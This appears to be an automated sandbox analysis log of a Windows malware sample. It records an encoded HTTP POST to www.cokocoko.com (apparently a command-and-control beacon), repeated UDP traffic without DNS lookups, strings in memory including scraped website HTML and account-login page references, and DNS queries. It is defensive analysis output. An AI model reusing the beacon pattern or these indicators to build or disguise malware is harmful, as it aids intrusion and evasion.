Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.cokocoko.comCache-Control: no-cacheData Raw: 79 30 54 64 52 68 74 4a 45 68 50 38 62 65 72 72 4d 6d 73 67 6f 51 51 69 6b 4e 75 68 2b 66 2f 76 66 37 77 50 65 63 38 46 56 55 2f 69 6e 39 4a 2f 68 49 76 41 64 6a 56 57 56 4f 4d 55 69 4f 6b 53 50 44 36 68 43 36 4c 6e 38 7a 31 75 7a 6f 62 7a 46 69 49 64 78 5a 55 2b 73 39 4b 6c 64 75 64 68 39 64 4e 76 57 64 57 50 47 39 6e 4f 77 44 33 2b 62 79 71 6a 2f 5a 75 4a 38 4a 57 44 47 54 66 6d 58 77 55 4d 73 42 56 57 6e 6a 79 2f 73 59 4f 36 34 69 68 6d 51 79 37 32 32 2b 2b 38 4a 62 68 77 4d 61 63 5a 36 30 4d 4c 53 36 59 7a 33 75 42 4f 6e 68 63 6c 69 61 61 46 6d 54 4a 50 33 69 4a 4b 53 51 70 58 35 41 69 33 75 2f 4c 6a 41 37 34 43 61 2f 62 58 6b 2f 68 77 6a 4e 55 7a 2b 4e 39 66 6a 4b 67 34 39 56 67 2b 68 4f 68 31 38 70 4c 4b 74 7a 47 4b 31 6d 2b 6b 54 6b 58 31 64 44 4d 59 68 2f 66 56 4e 47 63 4e 63 61 47 52 71 44 57 5a 4f 4b 6b 55 36 6e 64 6b 68 4b 35 47 4d 50 4d 39 76 6e 4a 76 38 4c 72 51 78 74 52 58 42 39 43 49 37 41 54 65 74 56 38 49 49 7a 6c 75 44 68 64 76 58 61 74 69 48 4a 43 6b 42 4d 4d 36 4c 30 4d 75 45 38 46 30 7a 4c 6e 56 62 4a 48 71 54 45 37 45 39 67 55 2b 4e 79 55 49 34 36 66 35 6f 73 4f 64 73 54 64 35 78 39 50 37 56 6d 37 43 78 67 73 43 62 30 76 67 79 4a 47 53 33 72 38 56 46 62 4c 78 6f 64 6f 45 4c 7a 52 31 64 30 64 46 4d 4e 33 4c 58 44 47 66 36 55 79 6f 52 76 6e 35 39 4e 66 74 68 44 63 58 69 54 49 76 57 6e 33 5a 65 55 6e 4d 39 37 69 66 63 70 34 52 76 43 58 4d 54 4d 70 44 59 45 72 68 58 4c 2b 38 64 52 30 42 2f 45 4d 48 6f 54 73 4f 50 69 32 51 4d 2f 4f 78 56 4e 50 50 6a 44 48 42 32 59 33 52 62 42 58 46 52 35 6e 67 79 48 37 39 39 70 33 4d 2f 4f 66 35 66 55 48 46 48 65 35 7a 32 6c 38 55 31 74 47 30 6a 6d 5a 4e 46 4f 33 79 30 48 54 42 6c 34 6f 3d Data Ascii: y0TdRhtJEhP8berrMmsgoQQikNuh+f/vf7wPec8FVU/in9J/hIvAdjVWVOMUiOkSPD6hC6Ln8z1uzobzFiIdxZU+s9Kldudh9dNvWdWPG9nOwD3+byqj/ZuJ8JWDGTfmXwUMsBVWnjy/sYO64ihmQy722++8JbhwMacZ60MLS6Yz3uBOnhcliaaFmTJP3iJKSQpX5Ai3u/LjA74Ca/bXk/hwjNUz+N9fjKg49Vg+hOh18pLKtzGK1m+kTkX1dDMYh/fVNGcNcaGRqDWZOKkU6ndkhK5GMPM9vnJv8LrQxtRXB9CI7ATetV8IIzluDhdvXatiHJCkBMM6L0MuE8F0zLnVbJHqTE7E9gU+NyUI46f5osOdsTd5x9P7Vm7CxgsCb0vgyJGS3r8VFbLxodoELzR1d0dFMN3LXDGf6UyoRvn59NfthDcXiTIvWn3ZeUnM97ifcp4RvCXMTMpDYErhXL+8dR0B/EMHoTsOPi2QM/OxVNPPjDHB2Y3RbBXFR5ngyH799p3M/Of5fUHFHe5z2l8U1tG0jmZNFO3y0HTBl4o=

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 4_2_04001040 recv,GetTickCount,

4_2_04001040

Source: yGktPvplJn.exe, 00000000.00000003.2592835145.0000000003490000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2627539836.0000000003490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a href="https://www.facebook.com/PohlFoodService" target="_blank"> equals www.facebook.com (Facebook)
Source: yGktPvplJn.exe, 00000000.00000003.2592835145.0000000003490000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2627539836.0000000003490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a href="https://www.linkedin.com/company/pohl-food-service" target="_blank"> equals www.linkedin.com (Linkedin)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a class="elementor-icon elementor-social-icon elementor-social-icon-youtube elementor-repeater-item-6def677" href="https://www.youtube.com/channel/UCvpY2zO1GRvxBdgkg7BUm-A" target="_blank"> equals www.youtube.com (Youtube)
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <iframe width="560" height="315" src="https://www.youtube.com/embed/tlIRoozTCUo?si=iVxlW2I1238JFK8n?rel=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe> equals www.youtube.com (Youtube)
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a class="footicons" href="https://www.linkedin.com/company/elpro-lepenik/about/" target="_blank"><img id="LinkedIn" alt="LinkedIn" data-src="http://www.elpro.si/wp-content/themes/elpro/img/ICO-30-Linked-Grey.svg" class="lazyload" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" /><noscript><img id="LinkedIn" alt="LinkedIn" src="http://www.elpro.si/wp-content/themes/elpro/img/ICO-30-Linked-Grey.svg" /></noscript></a> equals www.linkedin.com (Linkedin)
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a class="footicons" href="https://www.facebook.com/elprolepenik/" target="_blank"><img id="Facebook" alt="Facebook" data-src="http://www.elpro.si/wp-content/themes/elpro/img/ICO-30-FB-Grey.svg" class="lazyload" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" /><noscript><img id="Facebook" alt="Facebook" src="http://www.elpro.si/wp-content/themes/elpro/img/ICO-30-FB-Grey.svg" /></noscript></a> equals www.facebook.com (Facebook)
Source: yGktPvplJn.exe, 00000000.00000003.2592835145.0000000003490000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2627539836.0000000003490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <meta property="article:publisher" content="https://www.facebook.com/PohlFoodService" /> equals www.facebook.com (Facebook)
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <meta property="article:publisher" content="https://www.facebook.com/elprolepenik/" /> equals www.facebook.com (Facebook)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a href="https://www.youtube.com/snugpak1" target="_blank"><img src="https://cdn.shopify.com/s/files/1/0618/4343/9788/files/youtube_icon_11c1965e-304d-40b6-98fd-3d4df7fa6846.png?v=1683035776" width="30" /></a> equals www.youtube.com (Youtube)
Source: yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a href="https://www.linkedin.com/company/comsit-distribution-gmbh/" class="uc_icon-button elementor-repeater-item-ba8966f" target='_blank'> equals www.linkedin.com (Linkedin)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: href="https://www.youtube.com/watch?v=nIdFHAf2Ju8" equals www.youtube.com (Youtube)
Source: yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a href="https://www.facebook.com/MeublesDomon" target="_blank" rel="noopener" aria-label="Suivez-nous sur Facebook"><svg focusable="false" class="icon icon--facebook " viewBox="0 0 30 30"> equals www.facebook.com (Facebook)
Source: yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a href="https://www.linkedin.com/company/meubles-domon/about/" target="_blank" rel="noopener" aria-label="Suivez-nous sur LinkedIn"><svg focusable="false" class="icon icon--linkedin " role="presentation" viewBox="0 0 30 30"> equals www.linkedin.com (Linkedin)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a title="HOW TO PACK" target='_blank' href="https://www.youtube.com/watch?v=GTCbVcmrQgw&t=26s"><img equals www.youtube.com (Youtube)
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Elpro Lepenik proizvodnja temperaturnih tipal in merilno regulacijska tehnika","publisher":{"@id":"https://www.elpro.si/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://www.elpro.si/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"sl-SI"},{"@type":"Organization","@id":"https://www.elpro.si/#organization","name":"ELPRO","url":"https://www.elpro.si/","logo":{"@type":"ImageObject","inLanguage":"sl-SI","@id":"https://www.elpro.si/#/schema/logo/image/","url":"https://www.elpro.si/wp-content/uploads/2020/02/LOGO-Header.svg","contentUrl":"https://www.elpro.si/wp-content/uploads/2020/02/LOGO-Header.svg","width":1,"height":1,"caption":"ELPRO"},"image":{"@id":"https://www.elpro.si/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/elprolepenik/","https://www.linkedin.com/company/elpro-lepenik/about/"]}]}</script> equals www.facebook.com (Facebook)
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Elpro Lepenik proizvodnja temperaturnih tipal in merilno regulacijska tehnika","publisher":{"@id":"https://www.elpro.si/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://www.elpro.si/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"sl-SI"},{"@type":"Organization","@id":"https://www.elpro.si/#organization","name":"ELPRO","url":"https://www.elpro.si/","logo":{"@type":"ImageObject","inLanguage":"sl-SI","@id":"https://www.elpro.si/#/schema/logo/image/","url":"https://www.elpro.si/wp-content/uploads/2020/02/LOGO-Header.svg","contentUrl":"https://www.elpro.si/wp-content/uploads/2020/02/LOGO-Header.svg","width":1,"height":1,"caption":"ELPRO"},"image":{"@id":"https://www.elpro.si/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/elprolepenik/","https://www.linkedin.com/company/elpro-lepenik/about/"]}]}</script> equals www.linkedin.com (Linkedin)
Source: yGktPvplJn.exe, 00000000.00000003.2319257839.0000000002880000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: @wspaceRegSetValueEx failedRegOpenKeyEx failednoneblock#external_htmldisplayctrl_loaderctrl_webctrl_error_netctrl_error_unexpectedctrl_error_credentialsctrl_error_sslctrl_product_registeredctrl_footerctrl_retryctrl_switch_contextctrl_product_registered_remind_laterctrl_product_registered_set_pwdURL: spacelogin2::login_view::show_errorlogin2::login_view::login_viewlogin2::login_view::show_security_errorlogin2::login_view::show_no_connectionlogin2::login_view::show_loadinglogin2::login_view::show_credentials_errorlogin2::login_view::show_switch_contextlogin2::login_view::show_product_registeredctrl_contexts_containerctrl_contexts_view_allweb->put_AddressBar err=0x.space-descriptionweb->put_MenuBar err=0xlogin2::login_view::customize_browserweb->put_RegisterAsDropTarget err=0xweb->put_RegisterAsBrowser err=0xweb->put_StatusBar err=0xweb->put_Silent err=0xweb->put_Visible err=0xweb->put_ToolBar err=0xlogin2::login_view::retryweb->put_Resizable err=0x failed hr=login2::login_view::set_passwordlogin2::login_view::navigateIWebBrowser2::Navigate to ProductAgentUI.exeSOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATIONhttps://m.facebook.com/login/?privacy_mutation_tokenlogin2::login_view::set_browser_emulationhttps://accounts.google.com/signin/usernamerecoveryhttps://m.facebook.com/home.phphttps://m.facebook.com/help/https://accounts.google.com/signin/recoveryhttps://m.facebook.com/reghttps://m.facebook.com/recoverhttps://signup.live.com/signuphttps://account.live.com/resetpassword.aspxhttps://account.live.com/acsrhttps://login.live.com/gls.srf?urlid=msnprivacystatementhttps://github.com/site/termshttps://github.com/password_resethttps://github.com/microsoft-corphttps://github.com/site/privacyhttps://support.microsoft.comhttps://docs.github.com/articles/github-securityhttps://github.com/https://www.apple.com/native://com.bitdefender.agenthttps://login.live.com/logout.srflogin2::login_view::browser_events::BeforeNavigate2BeforeNavigate2 block navigate => open in new windowblock navigateNavigateComplete2 block navigate => goto homehttps://www.facebook.com/login/help.phplogin2::login_view::browser_events::NavigateComplete2DocumentComplete NULLNavigateError login2::login_view::browser_events::DocumentCompletenot has security errorlogin2::login_view::browser_events::NavigateErrorStatusCode=netgearlogin2::login_view::browser_events::NewWindow3open in default browser: ([^=&]+)=([^&]*)InternetCrackUrl faileduser_tokenunexpected url query formatlogin2::login_view::browser_events::search_for_access_tokenupdate_tokenOnSecurityProblem ignorelogin2::login_view::httpsecurity_events::OnSecurityProbleminvalid string_view positionalnumalnumalphaalphablankblankcntrlcntrldddigitdigitgraphgraphlowerlowerprintprintpunctpunctssupperupperxdigitwxdigit equals www.facebook.com (Facebook)
Source: yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: var elementorFrontendConfig = {"environmentMode":{"edit":false,"wpPreview":false,"isScriptDebug":false},"i18n":{"shareOnFacebook":"Auf Facebook teilen","shareOnTwitter":"Auf Twitter teilen","pinIt":"Anheften","download":"Download","downloadImage":"Bild downloaden","fullscreen":"Vollbild","zoom":"Zoom","share":"Teilen","playVideo":"Video abspielen","previous":"Zur\u00fcck","next":"Weiter","close":"Schlie\u00dfen","a11yCarouselWrapperAriaLabel":"Carousel \| Horizontal scrolling: Arrow Left & Right","a11yCarouselPrevSlideMessage":"Previous slide","a11yCarouselNextSlideMessage":"Next slide","a11yCarouselFirstSlideMessage":"This is the first slide","a11yCarouselLastSlideMessage":"This is the last slide","a11yCarouselPaginationBulletMessage":"Go to slide"},"is_rtl":false,"breakpoints":{"xs":0,"sm":480,"md":768,"lg":1025,"xl":1440,"xxl":1600},"responsive":{"breakpoints":{"mobile":{"label":"Mobile Portrait","value":767,"default_value":767,"direction":"max","is_enabled":true},"mobile_extra":{"label":"Mobile Landscape","value":880,"default_value":880,"direction":"max","is_enabled":false},"tablet":{"label":"Tablet Portrait","value":1024,"default_value":1024,"direction":"max","is_enabled":true},"tablet_extra":{"label":"Tablet Landscape","value":1200,"default_value":1200,"direction":"max","is_enabled":false},"laptop":{"label":"Laptop","value":1366,"default_value":1366,"direction":"max","is_enabled":false},"widescreen":{"label":"Breitbild","value":2400,"default_value":2400,"direction":"min","is_enabled":false}},"hasCustomBreakpoints":false},"version":"3.24.7","is_static":false,"experimentalFeatures":{"additional_custom_breakpoints":true,"container":true,"container_grid":true,"e_swiper_latest":true,"e_nested_atomic_repeaters":true,"e_onboarding":true,"theme_builder_v2":true,"home_screen":true,"landing-pages":true,"nested-elements":true,"editor_v2":true,"link-in-bio":true,"floating-buttons":true,"display-conditions":true,"form-submissions":true},"urls":{"assets":"http:\/\/www.com-sit.com\/wp-content\/plugins\/elementor\/assets\/","ajaxurl":"https:\/\/www.com-sit.com\/wp-admin\/admin-ajax.php","uploadUrl":"https:\/\/www.com-sit.com\/wp-content\/uploads"},"nonces":{"floatingButtonsClickTracking":"0062f59deb"},"swiperClass":"swiper","settings":{"page":[],"editorPreferences":[]},"kit":{"body_background_background":"classic","active_breakpoints":["viewport_mobile","viewport_tablet"],"global_image_lightbox":"yes","lightbox_enable_counter":"yes","lightbox_enable_fullscreen":"yes","lightbox_enable_zoom":"yes","lightbox_enable_share":"yes","lightbox_title_src":"title","lightbox_description_src":"description"},"post":{"id":4380,"title":"ComSIT%20%E2%80%A2%20Ihr%20nachhaltiger%20Spezialist%20f%C3%BCr%20elektronische%20Bauelemente","excerpt":"","featuredImage":false}}; equals www.facebook.com (Facebook)
Source: yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: var elementorFrontendConfig = {"environmentMode":{"edit":false,"wpPreview":false,"isScriptDebug":false},"i18n":{"shareOnFacebook":"Auf Facebook teilen","shareOnTwitter":"Auf Twitter teilen","pinIt":"Anheften","download":"Download","downloadImage":"Bild downloaden","fullscreen":"Vollbild","zoom":"Zoom","share":"Teilen","playVideo":"Video abspielen","previous":"Zur\u00fcck","next":"Weiter","close":"Schlie\u00dfen","a11yCarouselWrapperAriaLabel":"Carousel \| Horizontal scrolling: Arrow Left & Right","a11yCarouselPrevSlideMessage":"Previous slide","a11yCarouselNextSlideMessage":"Next slide","a11yCarouselFirstSlideMessage":"This is the first slide","a11yCarouselLastSlideMessage":"This is the last slide","a11yCarouselPaginationBulletMessage":"Go to slide"},"is_rtl":false,"breakpoints":{"xs":0,"sm":480,"md":768,"lg":1025,"xl":1440,"xxl":1600},"responsive":{"breakpoints":{"mobile":{"label":"Mobile Portrait","value":767,"default_value":767,"direction":"max","is_enabled":true},"mobile_extra":{"label":"Mobile Landscape","value":880,"default_value":880,"direction":"max","is_enabled":false},"tablet":{"label":"Tablet Portrait","value":1024,"default_value":1024,"direction":"max","is_enabled":true},"tablet_extra":{"label":"Tablet Landscape","value":1200,"default_value":1200,"direction":"max","is_enabled":false},"laptop":{"label":"Laptop","value":1366,"default_value":1366,"direction":"max","is_enabled":false},"widescreen":{"label":"Breitbild","value":2400,"default_value":2400,"direction":"min","is_enabled":false}},"hasCustomBreakpoints":false},"version":"3.24.7","is_static":false,"experimentalFeatures":{"additional_custom_breakpoints":true,"container":true,"container_grid":true,"e_swiper_latest":true,"e_nested_atomic_repeaters":true,"e_onboarding":true,"theme_builder_v2":true,"home_screen":true,"landing-pages":true,"nested-elements":true,"editor_v2":true,"link-in-bio":true,"floating-buttons":true,"display-conditions":true,"form-submissions":true},"urls":{"assets":"http:\/\/www.com-sit.com\/wp-content\/plugins\/elementor\/assets\/","ajaxurl":"https:\/\/www.com-sit.com\/wp-admin\/admin-ajax.php","uploadUrl":"https:\/\/www.com-sit.com\/wp-content\/uploads"},"nonces":{"floatingButtonsClickTracking":"0062f59deb"},"swiperClass":"swiper","settings":{"page":[],"editorPreferences":[]},"kit":{"body_background_background":"classic","active_breakpoints":["viewport_mobile","viewport_tablet"],"global_image_lightbox":"yes","lightbox_enable_counter":"yes","lightbox_enable_fullscreen":"yes","lightbox_enable_zoom":"yes","lightbox_enable_share":"yes","lightbox_title_src":"title","lightbox_description_src":"description"},"post":{"id":4380,"title":"ComSIT%20%E2%80%A2%20Ihr%20nachhaltiger%20Spezialist%20f%C3%BCr%20elektronische%20Bauelemente","excerpt":"","featuredImage":false}}; equals www.twitter.com (Twitter)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: window.GloboMenuLinklists = {"main-menu": [{'url' :"#", 'title': "Sleeping"},{'url' :"#", 'title': "Clothing"},{'url' :"#", 'title': "Rucksacks \u0026 Travel"},{'url' :"#", 'title': "Tents \u0026 Shelters"},{'url' :"#", 'title': "About"}],"footer-links-1": [{'url' :"\/collections\/sleeping", 'title': "Sleeping"},{'url' :"\/collections\/clothing", 'title': "Clothing"},{'url' :"\/collections\/rucksacks-travel", 'title': "Rucksacks \u0026 Travel"},{'url' :"\/collections\/tents-shelters", 'title': "Tents \u0026 Shelters"}],"footer-links-2": [{'url' :"\/pages\/contact", 'title': "Contact Us"},{'url' :"https:\/\/help.snugpak.com\/index.php\/article-categories\/returns-and-warranty\/", 'title': "Returns \u0026 Warranty"}],"footer-links-3": [{'url' :"https:\/\/help.snugpak.com\/index.php\/knowledge-base\/temperature-ratings-for-sleeping-bags\/", 'title': "Temperature Ratings"},{'url' :"https:\/\/help.snugpak.com\/index.php\/article-categories\/care-instructions\/", 'title': "Care \u0026 Storage"},{'url' :"https:\/\/help.snugpak.com\/index.php\/article-categories\/product-instructions\/", 'title': "Instructions"},{'url' :"https:\/\/help.snugpak.com\/index.php\/knowledge-base\/where-can-i-find-a-clothing-size-chart\/", 'title': "Size Chart"},{'url' :"https:\/\/help.snugpak.com\/index.php\/article-categories\/faq\/", 'title': "FAQ"}],"footer-links-4": [{'url' :"\/pages\/our-story", 'title': "Our Story"},{'url' :"\/pages\/brand-ambassadors", 'title': "Brand Ambassadors"},{'url' :"https:\/\/www.youtube.com\/watch?v=nIdFHAf2Ju8", 'title': "Factory Tour"},{'url' :"https:\/\/www.snugpak.com\/catalogue", 'title': "Online Catalogue"},{'url' :"\/blogs\/news", 'title': "Blog"}],"footer-links-5": [{'url' :"\/pages\/privacy-notice", 'title': "Privacy Notice"},{'url' :"\/pages\/terms-of-use", 'title': "Terms of Use"},{'url' :"\/pages\/cookie-policy", 'title': "Cookie Policy"}],"customer-account-main-menu": [{'url' :"\/", 'title': "Shop"},{'url' :"https:\/\/shopify.com\/61843439788\/account\/orders?locale=en\u0026region_country=GB", 'title': "Orders"}]} equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.ftchat.com
Source: global traffic	DNS traffic detected: DNS query: www.jenco.co.uk
Source: global traffic	DNS traffic detected: DNS query: www.quadlock.com
Source: global traffic	DNS traffic detected: DNS query: www.pr-park.com
Source: global traffic	DNS traffic detected: DNS query: www.fnw.us
Source: global traffic	DNS traffic detected: DNS query: www.wkhk.net
Source: global traffic	DNS traffic detected: DNS query: www.pdqhomes.com
Source: global traffic	DNS traffic detected: DNS query: www.olras.com
